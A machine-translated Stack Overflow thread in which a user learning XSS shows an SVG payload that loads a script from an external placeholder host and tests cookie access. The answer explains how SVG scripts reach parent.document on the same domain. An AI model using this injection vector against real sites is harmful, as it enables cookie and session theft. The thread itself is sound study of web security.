Как я могу получить объект родительского документа из документа SVG JavaScript?

Я изучаю XSS. Я знал, что есть уязвимость в объекте HTML SVG.

источник здесь

<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="0" height="0" id="xss"><script type="text/ecmascript" xlink:href="http://blahblahblah.com/~blah/xss/xss.js"></script></svg>

Я пробовал это в xss.js

alert(document.cookie);

но значение cookie было "неопределенным"

в объекте SVG есть объект Document, но он отличается от объекта документа HTML.

Затем, как я могу получить родительский объект документа для файла cookie?

Пожалуйста помоги.

Спасибо за чтение.


person Jindong Jung    schedule 22.06.2013    source источник


Ответы (1)


Имеется интерфейс HTMLDocument и < интерфейс href="http://www.w3.org/TR/SVG/struct.html#InterfaceSVGDocument" rel="noreferrer">SVGDocument, оба производные от базового Document, который предоставляет некоторые общие методы. Файлы cookie являются частью интерфейса HTMLDocument, поэтому только документы HTML получают файлы cookie.

Если вы говорите о ситуации, когда <svg> встроен в html-документ с помощью тега <object>, <embed> или <iframe>, тогда parent.document или top.document даст вам родительский html-документ из скрипта в объекте SVG при условии, что документы SVG и HTML находятся в одном домене.

Это работает для меня, по крайней мере, в Firefox...

<html>
  <body>
    <object id="object" data="embedded.svg" type="image/svg+xml"
            width="450" height="300">
    </object>
  </body>
</html>

вместе со встроенным.svg

<svg xmlns="http://www.w3.org/2000/svg">
  <rect x="0" y="0" width="100%" height="100%" fill="blue"/>
  <script>
    alert(parent.document);
  </script>
</svg>
person Robert Longson    schedule 22.06.2013
comment
Спасибо за ваш ответ. но мне интересно, нет ли методов для доступа к объекту родительского документа? - person Jindong Jung; 22.06.2013
comment
не работает..... я пробовал console.log(parent.document); и console.log(top.document); , но они показывают одно и то же сообщение: неопределенные документы SVG и HTML находятся в одном домене. тот же HTML-файл. - person Jindong Jung; 22.06.2013